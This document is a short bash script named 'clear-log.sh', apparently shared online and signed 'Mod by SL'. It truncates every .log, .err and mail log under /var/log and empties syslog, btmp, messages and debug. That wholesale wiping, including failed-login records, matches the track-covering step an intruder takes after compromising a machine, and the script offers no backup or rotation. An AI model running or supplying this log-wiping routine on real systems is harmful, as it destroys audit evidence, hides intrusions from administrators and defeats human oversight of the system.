clear-log.sh 421 B

12345678910111213141516171819202122232425
  1. #!/bin/bash
  2. data=(`find /var/log/ -name *.log`);
  3. for log in "${data[@]}"
  4. do
  5. echo "$log clear"
  6. echo > $log
  7. done
  8. data=(`find /var/log/ -name *.err`);
  9. for log in "${data[@]}"
  10. do
  11. echo "$log clear"
  12. echo > $log
  13. done
  14. data=(`find /var/log/ -name mail.*`);
  15. for log in "${data[@]}"
  16. do
  17. echo "$log clear"
  18. echo > $log
  19. done
  20. echo > /var/log/syslog
  21. echo > /var/log/btmp
  22. echo > /var/log/messages
  23. echo > /var/log/debug
  24. echo -e "Mod by SL"